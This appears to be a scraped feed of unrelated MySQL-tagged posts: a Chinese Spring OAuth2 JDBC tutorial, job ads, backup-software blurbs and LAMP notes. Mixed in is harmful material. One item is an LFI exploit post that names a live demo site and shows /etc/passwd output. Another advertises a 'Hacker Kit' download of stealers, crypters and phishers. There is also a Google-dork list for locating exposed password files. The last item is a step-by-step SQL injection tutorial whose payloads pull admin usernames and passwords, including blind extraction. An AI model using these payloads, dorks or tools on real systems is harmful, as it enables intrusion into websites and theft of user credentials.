要想使用这些JDBC实现,首先要建表。框架为我们提前设计好了schema, 在github上:https://github.com/spring-projects/spring-security-oauth/blob/master/spring-security-oauth2/src/test/resources/schema.sql

在使用这套表结构之前要注意的是,对于MySQL来说,默认建表语句中主键是varchar(255)类型,在mysql中执行会报错,原因是mysql对varchar主键长度有限制。所以这里改成128即可。其次,语句中会有某些字段为LONGVARBINARY类型,它对应mysql的blob类型,也需要修改一下。

4.3 配置

数据库建好后,下一步就是配置框架使用JDBC实现。方法还是编写@Configuration类继承AuthorizationServerConfigurerAdapter

@Autowired
    private AuthenticationManager authenticationManager;

    @Autowired
    private DataSource dataSource;
    @Bean // 声明TokenStore实现
    public TokenStore tokenStore() {
        return new JdbcTokenStore(dataSource);
    }
    @Bean // 声明 ClientDetails实现
    public ClientDetailsService clientDetails() {
        return new JdbcClientDetailsService(dataSource);
    }
    @Override // 配置框架应用上述实现
    public void configure(AuthorizationServerEndpointsConfigurer endpoints) throws Exception {
        endpoints.authenticationManager(authenticationManager);
        endpoints.tokenStore(tokenStore());

        // 配置TokenServices参数
        DefaultTokenServices tokenServices = new DefaultTokenServices();
        tokenServices.setTokenStore(endpoints.getTokenStore());
        tokenServices.setSupportRefreshToken(false);
        tokenServices.setClientDetailsService(endpoints.getClientDetailsService());
        tokenServices.setTokenEnhancer(endpoints.getTokenEnhancer());
        tokenServices.setAccessTokenValiditySeconds( (int) TimeUnit.DAYS.toSeconds(30)); // 30天
        endpoints.tokenServices(tokenServices);
    }

完成这些后,框架就会将中间产生的数据写到mysql中了。oauth_client_details是client表,可以直接在该表中添加记录来添加client: 
这里写图片描述

4.4 需要注意的地方

这里不得不说 Spring 设计有一个奇葩地的方。注意看oauth_access_token表是存放访问令牌的,但是并没有直接在字段中存放token。Spring 使用OAuth2AccessToken来抽象与令牌有关的所有属性,在写入到数据库时,Spring将该对象通过JDK自带的序列化机制序列成字节直接保存到了该表的token字段中。也就是说,如果只看数据表你是看不出access_token的值是多少,过期时间等信息的。这就给资源服务器的实现带来了麻烦。我们的资源提供方并没有使用Spring Security,也不想引入 Spring Security 的任何依赖,这时候就只能将 DefaultOAuth2AccessToken的源码copy到资源提供方的项目中,然后读取token字段并反序列化还原对象来获取token信息。但是如果这样做还会遇到反序列化兼容性的问题,具体解决方法参考我另一篇博文:http://blog.csdn.net/neosmith/article/details/52539614

5. 总结

至此一个能在生产环境下使用的授权服务就搭建好了。其实我们在实际使用时应该适当定制JdbcTokenStoreClientDetailsService来实适应业务需要,甚至可以直接从0开始实现接口,完全不用框架提供的实现。另外,Spring 直接将DefaultOAuth2AccessToken序列化成字节保存到数据库中的设计,我认为是非常不合理的。或许设计者的初衷是保密access_token,但是通过加密的方法也可以实现,完全不应该直接扔字节。不过通过定制TokenStore接口,我们可以使用自己的表结构而不拘泥于默认实现。

http://blog.csdn.net/tracker_w/article/category/6360121

http://blog.csdn.net/neosmith/article/details/52539927



paulwong 2016-09-16 18:22 发表评论

          MYSQL: Convert hex string to integer   
So there’s a few places on the web asking how to do this; while it’s easy to do SELECT x'1fb5'; if you have the hex string stored in a field you can’t do that. The answer is to use CONV() ie SELECT CONV(myhexfield, 16, 10); It’s that simple.
          Creating a MySQL Database for WordPress   
What is MySQL database? A database refers to a collection of organized data. In the case of a website, the […]
          CMS von artmedic webdesign [LFI]   

+--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : CMS von artmedic webdesign [LFI]
# Date          : 26-02-2012
# Author        : TeaM MosTa
# Version       : All
# Download      : http://www.artmedic.de/
# Tested on     : Window 7 , B-T.5
+--------------------------------------------------------------------------------------------------------------------------------+
+------------------------------------------[ Exploit by TeaM MosTa ]--------------------------------------------------+
Exploit
http://127.0.0.1//index.php?page=[LFI]
Demo :
http://www.gabor-event-world.de/index.php?page=/etc/passwd
sendmail:x:100:100:Mailer Daemon:/var/spool/mqueue:/bin/false httpd:x:1000:1100:
Web Server:/tmp:/bin/false webcockpit:x:32541:1101:#32541:
/home/strato/www/we/www.webcockpit.de:/bin/false mysql:x:1104:1104:
MySQL:/home/strato/mysql:/bin/tcsh
+----------------------------------------------------------------------------------------------------------------------------------+
TnKs To :
[# Ked Ans | 1337day | Original MosTa | TrOoN | HacKer_Fire | HacKer_1420 |#]
[# Kàràm Eddiñé BiLàmi | security-ray | Exploit-Db | metasploit | backtrack| walid_rires|#]
[#Mail: team-mosta@hotmail.fr #]



# 4E87C918D474C99C   1337day.com [2013-04-15]   58715734BAFF11B8 #


          Write some Scripts for an online website by hsnww   
Hi website is a books library, we have users login and registration system and we want to develop it to contain these features. Users can create a new research sheet In the first, user will give his paper a title, description, chose a category, the writers name, choose the end date and date to submit the paper - research paper must have a new titles and sub-titles, the user can write under each title a long text details, - Can rearrange titles, address Which first, Which will be at the end of the story - The user can invite other users to help, making the group to write a research paper together. after inviting , people who invited should get an email message or SMS alert The user can make his paper hidden, private, or public. make a reminder system, by emeil, SMS messages. all work with php, mysql, javascript, CSS and AJAX if need (Prize: 200)
          Betterlabs is hiring advanced PHP developer   
Requirements: You should be: Proficient in PHP: You must have provable, advanced knowledge and extensive experience in PHP5.0 as well as HTML/DHTML, CSS, JS and XML. Proficient in mySQL Proficient in Javascripting Proficient in object oriented design (in any language, though preferably PHP). Experienced with all aspects of the development process, tools and development environment […]
          Uranium Backup   

Uranium Backup è un software completo per la gestione del backup automatizzato deidati del proprio sistema, compatibile con sistemi operativi Windows, compreso Windows 7,disponibile in 9 lingue: Italiano, Inglese, Spagnolo, Polacco, Francese, Olandese,Tedesco, Russo, Portoghese Brasiliano.

Cosa fa Uranium Backup Disaster Recovery (Drive Image backup e Bare Metal restore)
Uranium può eseguire immagini complete del disco di sistema per consentire un ripristino in blocco del sistema operativo e di tutte le impostazioni (bare metal restore). Disponibile su sistemi operativi Vista, Server 2008 e Windows 7 Backup su Tape
Il software di backup su nastro tra i più semplici e versatili al mondo. Compatibile DAT, DDS, DLT, SDLT, AIT, VXA, LTO, ecc... Compatibile con qualsiasi Tape (SCSI, IDE, USB, SAS, ecc...). La soluzione più semplice e conveniente per backup su tape su Windows Vista e Server 2008. (leggi il tutorial ->) Masterizzazione su CD e DVD
Backup mediante masterizzazione su CD e DVD. Scrive anche su DVD-RW, DVD-RAM e DVD+R DL (doppio strato); può creare dischi multisessione e file ISO. Backup di database SQL Server
Backup di database Microsoft SQL Server (inclusi Express Edition e MSDE) con compressione zip integrata. Consente di pianificare il backup di un numero illimitato di database e di copiare i file di backup su Tape, DVD, FTP, LAN, ecc... (leggi il tutorial ->) FTP e SFTP - Upload e Download
Invio dei backup su server remoti con compressione zip e criptazione, aggiornamento pianificato e automatizzato (upload) di siti web, download di siti web, Client FTP e SFTP. (leggi il tutorial per scaricare siti web ->) Backup su disco, compressione zip, sincronizzazione
Copia di file e cartelle su dischi locali, hard disk esterni usb o firewire, server NAS, iOmega REV Drive, RDX drive, altri pc in rete. Con la possibilità di compressione zip, criptazione, eliminazione file vecchi e con un numero elevato di opzioni. Pianificazione backup automatici
Possibilità di pianificare l'esecuzione dei backup in base a gioni ore, minuti. Schedulazione integrata ed esecuzione in background come servizio. Invio notifiche via e-mail
Invio automatico dei report via e-mail ad uno o più indirizzi, per essere sempre avveriti del buono o cattivo esito delle procedure di backup. Backup di server virtuali
Possibilità di eseguire backup di macchine virtuali Hyper-V, VMware ESX/ESXi/vSphere Backup su tape Backup di database MySQL e MariaDB

E inoltre: Esecuzione come Servizio Volume Shadow Copy - Copia dei file bloccati (XP, 2003, VISTA, 2008, 7) Criptazione AES 256 bit Backup via E-Mail - Invio dei backup tramite e-mail e allegato zippato Copia di file e cartelle da infinite sorgenti a infinite destinazioni Sincronizzazione con possibilità di eliminazione vecchi file (mirroring) Compressione Zip 64 incrementale - Creazione di archivi zip di grandi dimensioni Portabile e leggero - Funziona anche senza installazione e non ha bisogno di alcun requisito Sicurezza, affidabilità e prestazioni con un bassissimo uso delle risorse di sistema Compatibile con Windows: XP / 2000 / 2003 / 2008 / Vista / 7 - 32 e 64 bit

Nuove caratteristiche Nuovo backup incrementale/differenziale di file e cartelle Migliori performance (sia dell’interfaccia che delle operazioni di backup) Backup di VM sia ESX(i) che Hyper-V molto più affidabile E’ ora possibile eseguire il backup completo di cassette di posta Exchange (migliora le prestazioni significativamente su SBS 2011) E’ ora possibile eseguire il backup di file e cartelle cifrate con BitLocker E’ ora possibile comprimere (ZIP) file e cartelle con percorsi più lunghi di 256 caratteri E’ ora possibile testare l’installazione del servizio durante il periodo di prova gratuita

Bug risolti Miglioramenti minori e bug fix (mai più loop FTP, mai più problemi di autenticazione delle cartelle e molto altro)

          Iperius Backup   

Iperius Backup è la soluzione completa per la salvaguardia dei dati aziendali e per laprotezione dei dati riservati. Le numerose funzioni, la sua flessibilità e i tanti tipidi backup ne fanno una utility a 360 gradi per backup e trasferimento di dati. Compatibilecon Windows 8 e Server 2012, installazione come servizio, notifiche e-mail, copia dei fileaperti, sincronizzazione e un numero incredibile di tipi di backup.

Iperius Backup può fare backup su svariati dispositivi, e include funzioni di DriveImaging (disaster recovery), backup su Tape DAT e LTO, backup su NAS e RDX, backup sudischi esterni USB, backup di database SQL Server, MySQL, MariaDB, PostegreSQL e Oracle,Backup FTP (Upload e Download), compressione zip, sincronizzazione file e backup online suspazi Cloud Google Drive, OneDrive, Dropbox, Amazon S3 e Microsoft Azure. Può inoltreeseguire backup di macchine virtuali VMware ESXi o Hyper-V

Novità di questa versione: Compatibile con Windows Server 2016 e SQL Server 2016 Notevolmente velocizzato e migliorato il backup FTP in upload, specie con connessioni multiple e nel backup FTP su NAS in rete locale. Migliorate procedure di ricollegamento automatico nei backup FTP Aggiornamento librerie SSL Ora nelle destinazioni FTP e Cloud viene mostrato anche il sotto percorso (lista delle destinazioni) Aggiornamento procedure di backup MySQL e PostgreSQL Aggiunto pulsante per testare il collegamento alla Web Console Ora l'ultima pianificazione rimane memorizzata anche se disabilitata Aggiunta possibilità di avviare un backup manualmente ma mediante il servizioBackup di Exchange: Iperius può eseguire il backup a caldo di server di posta Exchange, in modalità immagine con troncamento dei log, e/o con esportazione di singole cassette di posta su file PST. Consente inoltre il Restore granulare di mailbox singole da file PST.

          Comment on Lamp, Mamp and Wamp by Andy   
Pretty good instructions for Linux. I installed on Ubuntu 14.04 and there were 2 differences from your instructions: 1. The root directory for putting the test.php file is /var/www/html/ 2. The mySQL install already asked me to set a password, so the mysql -u root command failed. I skipped this step. Thanks 28.10.2015
          Lamp, Mamp and Wamp   
LAMP is an acronym of Linux Apache, MySQL and PHP. MAMP is an acronym of Mac Apache, MySQL and PHP. And as expected WAMP is an acronym of Windows Apache, MySQL and PHP. They are a download which packages together Apache, MySQL and PHP and allow you to build and host websites locally. It is […]
          Technology Sales Representative IV - Oracle - New Jersey   
Preferred Qualifications The MySQL Global Business Unit is looking for a qualified Field Sales Representative to sell MySQL commercial licenses in a...
From Oracle - Fri, 23 Jun 2017 13:21:42 GMT - View all New Jersey jobs
          Principal Software Engineer (Scala) - $100.00 per hour - Incendia - Boston, MA   
Software Engineer, Software Engineering, Linux, Apache, MongoDB, NoSQL, MySQL, OpenTSDB, HBase, CouchDB, Basho Riak, Accumulo/sqrrl, Cassandra, Hadoop, Hive,... $100 an hour
From Incendia Partners - Mon, 19 Jun 2017 21:53:00 GMT - View all Boston, MA jobs
          An Easy Way to Create JSP’s and MySQL Web Application   
Dear readers, this time I would like to share about how to create a JSP’s and MySQL web application. This time we will create it using easy way, means that we wouldn’t create this web application by coding java classes that we might needed to support this application. We only create JSP, yes only JSP, […]
          Showing Running Queries   
Newer versions of PostgreSQL have a 'pg_stat_activity' view to show you who is currently connected to your database system.

By default, this doesn't show you the queries being run.

How do you show that?

Edit your postgresql.conf file and add (or uncomment):

stats_command_string = true

and restart postgresql.


See official documentation for more information.

(This is practically equivalent to the mysql 'show processlist' command).

          Quick & Easy ETL from Salesforce to MySQL with Workflow & Heroku   
While sometimes unfortunate it is often necessary to have data silos that share data. The Extract, Transform, and Load (ETL) pattern has been around for a long time to address this need and there are tons of solutions out there. If you just need a quick and easy way to copy new & updated records ... Read more
          今年の振り返り   

リアルの話は別記事にまとめます。

リアルとネットが混ざったところと言えば映画の話なので、そこらへんについてこれから書こう。

ここら辺の話。

今年書いたブログの振り返り 2016年版 - klimの独り言

あまりここやTwitterにリアルの話は書かないようにしていたのだけれど、少しくらいならいいかな。

職能の話

上の記事から分かる通り、そういう道に飛び込みました。来年から専門的な内容のタスクが振られる予定なので、今からポチポチ勉強し直している所。あー、力がほしーい。

これから勉強を続けるにあたって、本能のままに未知の分野に飛び込むと器用貧乏感が拭えなくなるので、勉強する分野を絞ることは大事なのかもしれない。以下のQiitaにも書かれていることではあるけれど。

一口にプログラミングと言っても、学ぶべき技術分野は多岐に渡ります。

Webに話を限定したとしても、

  • HTML,CSS,JavaScript等のクライアントサイドプログラミング
  • Ruby on Rails等のサーバーサイドプログラミング
  • MySQL等のデータベースの知識
  • Linux,Apache等のサーバー構築に関する知識
  • ソフトウェアテストやGit等のバージョン管理等などのツールや手法の知識

などなど、数え上げたら学習すべき知識はキリがありません。時間は有限で、全ての技術を学習することなど土台不可能です。

意識的に自分にとって必要な技術分野を絞る事は、プログラミング勉強を加速させる上で大切な習慣なのです。

プログラミング勉強を加速させる7つの習慣 - Qiita

ただ、自分自身あまり集中力が持続する方ではないので、ふらふらと未知の技術に時間を費やすこともある(Dockerとかそんな感じで学習した)。やっぱり考えて勉強しないと駄目ね。


旅行の話

今までは根っからのインドア派だったので、金と時間をかけて遠くにいくことはしなかった。

でも、GWに東京・大洗に1週間(ガルパンのため)、9月に東京まで弾丸で(声優の故松来未祐さんのイベントのため)、秋に仙台に一泊二日(ビール工場とウイスキーの蒸溜所へ)と、今までの人生の中で一番遠出してたと思う。

秋田を起点にすると東京か仙台か…と2極化しがちな感じがするので、これからはもうちょっと中々行かないような場所に行ってみたい。札幌か?

映画の話

今までの人生、ネット・DVD・TV等で映画を見ることはあれど、映画館に行くことは稀だった。年に1回行けば多い方という感じで、劇場に行くことは本当に珍しかった。

しかし、ガルパン劇場版を7,8回見てからと言うもの、映画館に足を運ぶことに抵抗がなくなったため、これを機に色々と映画を見てみることにした。この「Mr.ホームズ 名探偵最後の事件」を見に行ったのも、今まで見たことのない映画を映画館で見てみようと思ったからだった。

あと、今年になって本当に映画が好きだという人と出会ったのも大きな要因だった。その人のお陰で世界の幅は広がったし、今までの自分だと見ようともしないようなものも見るようになった。そんな人からオススメされたのが以下のDVDだった。

感想等はリンク先で書いてあるからここでは書かないけれど、これで心を動かされたのは「これオススメだから」と言って円盤を渡されるという行為自体が初めてだったので、その人が何故オススメをしてきたのかを考えながら映画を見るという点が新鮮だったからだった。自分が好きなポイントを探すだけでなく、その人が心を惹かれた場所は何処なんだろうと考えながら作品を見るのは今までにはなかったと思う。*1


まとめ

来年は今年の頑張りや新しく始めたことを拡張して、更に新しいことに手を広げられれば…と思っている。そうしつつ、今年始めたことを引き続き続けられれば…とも。

*1:ちなみに、上の文章はその人に直に見せたのだった。「あーここだよねー!」と言ってくれたのは本当に嬉しかった。


          Hacker Kit 2009 - Daily Hacker Tools [56mb]   
Hacker Kit 2009 - Daily Hacker Tools [56mb]

Some tools which hackers require in daily life. I personally use most of these.

Yahoo Account Locker
Acunetix Vulnerability Scanner + Crack
Admin Finder
Auto Surfer
Angry Ip Scanner
Anonymity Pack
Ardamax 28 and 2.9 + serial
Binders
Brutus
Crypters
Cookie Stealer
Debugging Tool
Email Bomber
Exploit Scanner
Ip Scanners
Irc Spammer
Md5 Cracker
Msn Freezer
MySqli Dumper
Passstealer - Istealer 5 and other fud stealers
Phishers - A to Z
Port Scanner
Shells Pack A to Z shells
Supernova 5
Telnet Tools
Xss scanner
zer0 server Attacker


Download:
http://depositfiles.com/en/files/yr3pwsuoa


Password:
The7thSage
          Get full acces by "phpmyadmin"   
Get full acces by "phpmyadmin"

Why deface when you can own it?
Go to Google and type this:
intitle:PhpMyAdmin "Welcome to phpMyAdmin***" running on * as root@*"

This will give you tons of no passworded phpMyAdmin,means you'll have access to all files,can make changes ect.
======================================
To find websites Admin Password type the following in the Google bar:
inurl:vti_pvt "service.pwd"
(password will be encrypted) "convert encrypted password to md5 hash then use milw0rm

Also You can You use this codes when you have free time..enjoy

Google Search strings
-------------------------
Quote: * inurl:/db/main.mdb |ASP-Nuke passwords
* filetype:cfm "cfapplication |ColdFusion source with potential passwords name" password
* filetypeass |dbman credentials pass intext:userid
* allinurl:auth_user_file.txt |DCForum user passwords
* eggdrop filetype:user user |Eggdrop IRC user credentials
* filetype:ini inurl:flashFXP.ini |FlashFXP FTP credentials
* filetype:url +inurl:"ftp://" |FTP bookmarks cleartext passwords
+inurl:"@"
* inurl:zebra.conf intext: |GNU Zebra passwords
password -sample -test
-tutorial –download
* filetype:htpasswd htpasswd |HTTP htpasswd Web user credentials
* intitle:"Index of" ".htpasswd" |HTTP htpasswd Web user credentials
"htgroup" -intitle:"dist"
-apache -htpasswd.c
* intitle:"Index of" ".htpasswd" |HTTP htpasswd Web user credentials
htpasswd.bak
* "http://*:*@www" bob:bob |HTTP passwords (bob is a sample username)
* "sets mode: +k" |IRC channel keys (passwords)
* "Your password is * |Remember IRC NickServ registration passwords
this for later use"
* signin filetype:url |JavaScript authentication credentials
* LeapFTP intitle:"index.of./" |LeapFTP client login credentials
sites.ini modified
* inurl:lilo.conf filetype:conf |LILO passwords
password -tatercounter2000
-bootpwd –man
* filetype:config config intext: |Mcft .NET application credentials
appSettings "User ID"
* filetypewd service |Mcft FrontPage Service Web passwords
* intitle:index.of |Mcft FrontPage Web credentials
administrators.pwd
* "# -FrontPage-" |Mcft FrontPage Web passwords
inurl:service.pwd
extwd inurl:_vti_pvt inurl: |Mcft FrontPage Web passwords
(Service | authors | administrators)
* inurlerform filetype:ini |mIRC nickserv credentials
* intitle:"index of" intext: |mySQL database credentials
connect.inc
* intitle:"index of" intext: |mySQL database credentials
globals.inc
* filetype:conf oekakibbs |Oekakibss user passwords
* filetype:dat wand.dat |Opera‚ ÄúMagic Wand‚Äù Web credentials
* inurlspfd.conf intext: |OSPF Daemon Passwords
password -sample -test
-tutorial –download
* index.of passlist |Passlist user credentials
* inurlasslist.txt |passlist.txt file user credentials
* filetype:dat "password.dat" |password.dat files
* inurlassword.log filetype:log |password.log file reveals usernames,
|passwords,and hostnames
* filetype:log inurl:"password.log" |password.log files cleartext
|passwords
* inurleople.lst filetype:lst |People.lst generic password file
* intitle:index.of config.php |PHP Configuration File database
|credentials
* inurl:config.php dbuname dbpass |PHP Configuration File database
|credentials
* inurl:nuke filetype:sql |PHP-Nuke credentials
* filetype:conf inurlsybnc.conf |psyBNC IRC user credentials
"USER.PASS="
* filetype:ini ServUDaemon |servU FTP Daemon credentials
* filetype:conf slapd.conf |slapd configuration files root password
* inurl:"slapd.conf" intext: |slapd LDAP credentials
"credentials" -manpage
-"Manual Page" -man: -sample
* inurl:"slapd.conf" intext: |slapd LDAP root password
"rootpw" -manpage
-"Manual Page" -man: -sample
* filetype:sql "IDENTIFIED BY" –cvs |SQL passwords
* filetype:sql password |SQL passwords
* filetype:ini wcx_ftp |Total Commander FTP passwords
* filetype:netrc password |UNIX .netrc user credentials
* index.of.etc |UNIX /etc directories contain
|various credential files
* intitle:"Index of..etc" passwd |UNIX /etc/passwd user credentials
* intitle:index.of passwd |UNIX /etc/passwd user credentials
passwd.bak
* intitle:"Index of" pwd.db |UNIX /etc/pwd.db credentials
* intitle:Index.of etc shadow |UNIX /etc/shadow user credentials
* intitle:index.of master.passwd |UNIX master.passwd user credentials
* intitle:"Index of" spwd.db |UNIX spwd.db credentials
passwd -pam.conf
* filetype:bak inurl:"htaccess| |UNIX various password file backups
passwd|shadow|htusers
* filetype:inc dbconn |Various database credentials
* filetype:inc intext:mysql_ |Various database credentials, server names
connect
* filetyperoperties inurl:db |Various database credentials, server names
intextassword
* inurl:vtund.conf intextass –cvs |Virtual Tunnel Daemon passwords
* inurl:"wvdial.conf" intext: |wdial dialup user credentials
"password"
* filetype:mdb wwforum |Web Wiz Forums Web credentials
* "AutoCreate=TRUE password=*" |Website Access Analyzer user passwords
* filetypewl pwl |Windows Password List user credentials
* filetype:reg reg +intext: |Windows Registry Keys containing user
"defaultusername" intext: |credentials
"defaultpassword"
* filetype:reg reg +intext: |Windows Registry Keys containing user
"internet account manager" |credentials
* "index of/" "ws_ftp.ini" |WS_FTP FTP credentials
"parent directory"
* filetype:ini ws_ftp pwd |WS_FTP FTP user credentials
* inurl:admin filetype: |asp Generic userlist files
inurl:userlist |
* inurlhp inurl: |Half-life statistics file, lists username and
hlstats intext: |other information
Server Username |
* filetype:ctl |
inurl:haccess. |Mcft FrontPage equivalent of htaccess
ctl Basic |shows Web user credentials
* filetype:reg |
reg intext: |Mcft Internet Account Manager can
          Full SQL Injection Tutorial (MySQL)   
Full SQL Injection Tutorial (MySQL)

In this tutorial i will describe how sql injection works and how to
use it to get some useful information.

First of all: What is SQL injection?
It’s one of the most common vulnerability in web applications today.
It allows attacker to execute database query in url and gain access
to some confidential information etc…(in shortly).

1.SQL Injection (classic or error based or whatever you call it)
2.Blind SQL Injection (the harder part)

So let’s start with some action

1). Check for vulnerability
Let’s say that we have some site like this
http://www.site.com/news.php?id=5
Now to test if is vulnerable we add to the end of url ‘ (quote),
and that would be http://www.site.com/news.php?id=5′
so if we get some error like
“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…”
or something similar
that means is vulnerable to sql injection

2). Find the number of columns
To find number of columns we use statement ORDER BY (tells database how to order the result)
so how to use it? Well just incrementing the number until we get an error.
http://www.site.com/news.php?id=5 order by 1/* <– no error
http://www.site.com/news.php?id=5 order by 2/* <– no error
http://www.site.com/news.php?id=5 order by 3/* <– no error
http://www.site.com/news.php?id=5 order by 4/* <– error (we get message like this Unknown column ‘4′ in ‘order clause’ or something like that)
that means that the it has 3 columns, cause we got an error on 4.

3). Check for UNION function
With union we can select more data in one sql statement.
so we have
http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )
if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works

4). Check for MySQL version
http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try –
it’s a comment and it’s important for our query to work properly.
let say that we have number 2 on the screen, now to check for version
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.
it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/*
if you get an error “union + illegal mix of collations (IMPLICIT + COERCIBLE) …”
i didn’t see any paper covering this problem, so i must write it
what we need is convert() function
i.e.
http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*
or with hex() and unhex()
i.e.
http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*
and you will get MySQL version

5). Getting table and column name
well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12…) <— later i will describe for MySQL > 5 version.
we must guess table and column name in most cases.
common table names are: user/s, admin/s, member/s …
common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc…
i.e would be
http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that’s good :D)
we know that table admin exists…
now to check column names.
http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)
we get username displayed on screen, example would be admin, or superadmin etc…
now to check if column password exists
http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)
we seen password on the screen in hash or plain-text, it depends of how the database is set up
i.e md5 hash, mysql hash, sha1…
now we must complete query to look nice
for that we can use concat() function (it joins strings)
i.e
http://www.site.com/news.php?id=5 union all select 1,concat(username,0×3a,password),3 from admin/*
Note that i put 0×3a, its hex value for : (so 0×3a is hex value for colon)
(there is another way for that, char(58), ascii value for : )
http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*
now we get dislayed username:password on screen, i.e admin:admin or admin:somehash
when you have this, you can login like admin or some superuser
if can’t guess the right table name, you can always try mysql.user (default)
it has user i password columns, so example would be
http://www.site.com/news.php?id=5 union all select 1,concat(user,0×3a,password),3 from mysql.user/*

6). MySQL 5
Like i said before i’m gonna explain how to get table and column names
in MySQL > 5.
For this we need information_schema. It holds all tables and columns in database.
to get tables we use table_name and information_schema.tables.
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*
here we replace the our number 2 with table_name to get the first table from information_schema.tables
displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*
note that i put 0,1 (get 1 result starting from the 0th)
now to view the second table, we change limit 0,1 to limit 1,1
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*
the second table is displayed.
for third table we put limit 2,1
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*
keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc…
To get the column names the method is the same.
here we use column_name and information_schema.columns
the method is same as above so example would be
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*
the first column is diplayed.
the second one (we change limit 0,1 to limit 1,1)
ie.
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*
the second column is displayed, so keep incrementing until you get something like
username,user,login, password, pass, passwd etc…
if you wanna display column names for specific table use this query. (where clause)
let’s say that we found table users.
i.e
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name=’users’/*
now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.
Note that this won’t work if the magic quotes is ON.
let’s say that we found colums user, pass and email.
now to complete query to put them all together
for that we use concat() , i decribe it earlier.
i.e
http://www.site.com/news.php?id=5 union all select 1,concat(user,0×3a,pass,0×3a,email) from users/*
what we get here is user:pass:email from table users.
example: admin:hash:whatever@blabla.com
That’s all in this part, now we can proceed on harder part

2. Blind SQL Injection
Blind injection is a little more complicated the classic injection but it can be done
I must mention, there is very good blind sql injection tutorial by xprog, so it’s not bad to read it
Let’s start with advanced stuff.
I will be using our example
http://www.site.com/news.php?id=5
when we execute this, we see some page and articles on that page, pictures etc…
then when we want to test it for blind sql injection attack
http://www.site.com/news.php?id=5 and 1=1 <— this is always true
and the page loads normally, that’s ok.
now the real test
http://www.site.com/news.php?id=5 and 1=2 <— this is false
so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.

1) Get the MySQL version
to get the version in blind attack we use substring
i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4

this should return TRUE if the version of MySQL is 4.

replace 4 with 5, and if query return TRUE then the version is 5.

i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5

2) Test if subselect works
when select don’t work then we use subselect
i.e
http://www.site.com/news.php?id=5 and (select 1)=1
if page loads normally then subselects work.
then we gonna see if we have access to mysql.user
i.e
http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1
if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.

3). Check table and column names
This is part when guessing is the best friend
i.e.
http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)
then if the page loads normally without content missing, the table users exits.
if you get FALSE (some article missing), just change table name until you guess the right one
let’s say that we have found that table name is users, now what we need is column name.
the same as table name, we start guessing. Like i said before try the common names for columns.
i.e
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
if the page loads normally we know that column name is password (if we get false then try common names or just guess)
here we merge 1 with the column password, then substring returns the first character (,1,1)

4). Pull data from database
we found table users i columns username password so we gonna pull characters from that.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>80
ok this here pulls the first character from first user in table users.
substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value
and then compare it with simbol greater then > .
so if the ascii char greater then 80, the page loads normally. (TRUE)
we keep trying until we get false.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>95
we get TRUE, keep incrementing
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>98
TRUE again, higher
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>99
FALSE!!!
so the first character in username is char(99). Using the ascii converter we know that char(99) is letter ‘c’.
then let’s check the second character.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),2,1))>99
Note that i’m changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>99
TRUE, the page loads normally, higher.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>107
FALSE, lower number.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>104
TRUE, higher.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>105
FALSE!!!
we know that the second character is char(105) and that is ‘i’. We have ‘ci’ so far
so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).

There are some tools for Blind SQL Injection, i think sqlmap is the best, but i’m doing everything manually,
cause that makes you better SQL INJECTOR
Hope you learned something from this paper.
Have FUN! (:
          Migratie hostingplatform afgerond   
